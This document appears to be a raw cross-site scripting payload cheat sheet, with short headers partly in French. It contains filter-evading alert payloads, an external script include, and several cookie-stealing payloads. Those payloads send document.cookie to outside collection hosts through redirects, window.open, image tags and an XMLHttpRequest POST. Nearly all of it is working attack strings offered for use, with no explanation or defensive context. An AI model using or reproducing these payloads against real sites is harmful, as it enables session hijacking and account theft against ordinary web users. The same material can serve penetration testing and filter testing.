
testtest/"><SVG ONLOAD%3d%26%2397%26%23108%26%23101%26%23114%26%23116(%26%23x64%26%23x6f%26%23x63%26%23x75%26%23x6d%26%23x65%26%23x6e%26%23x74%26%23x2e%26%23x64%26%23x6f%26%23x6d%26%23x61%26%23x69%26%23x6e)>.asp x.y(alert(1));function x(){} "></script><script/src=//x.p1.gs/></script> %22onmouseover=window[%27al%27%2B%27er%27%2B([%27t%27,%27b%27,%27c%27][0])](document[%27cooki%27%2B(['e','c','z'][0])]);%22 <inpuT autofocus oNFocus="setTimeout(function() { /*\*/top['al'+'\u0065'+'rt'](1)/*\*/ }, 5000);"></inpuT%3E; " onload=alert(origin) value=" # Document.location <script>document.location('http://IP_EXTERNE/'+document.cookie)</script> <script>document.location.href = 'http://requestb.in/XXXXXX?cookies =' + document.cookie;</script> # Window <script>window.open("http://monserveur/Cookie="+document.cookie)</script> <script>window.location='http://monsite.free.fr/script.php?cookies='+(document.cookie);</script> # Document.write <script>document.write('<img src="https://requestb.in/xxxxx?cookie="+document.cookie>admin</img>');</script> admin"></i>)</span><script>document.write("<img src=http://requestb.in/XXXXX?cookie=".concat(encodeURI(document.cookie)).concat("/>"))</script><i> <script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://requestb.in/w0sw22w0', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.send(document.cookie);</script> # alert(1) in JS <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> injecting inside of input tags <input/onfocus=alert(0) autofocus> <input/onfocus=alert`0` autofocus> <input/onfocus=prompt`0` autofocus> 1'"><input/onfocus={alert`1`} autofocus> javascript://%e2%80%a8alert(document.cookie); <svg+Only=1+onload=alert(1)>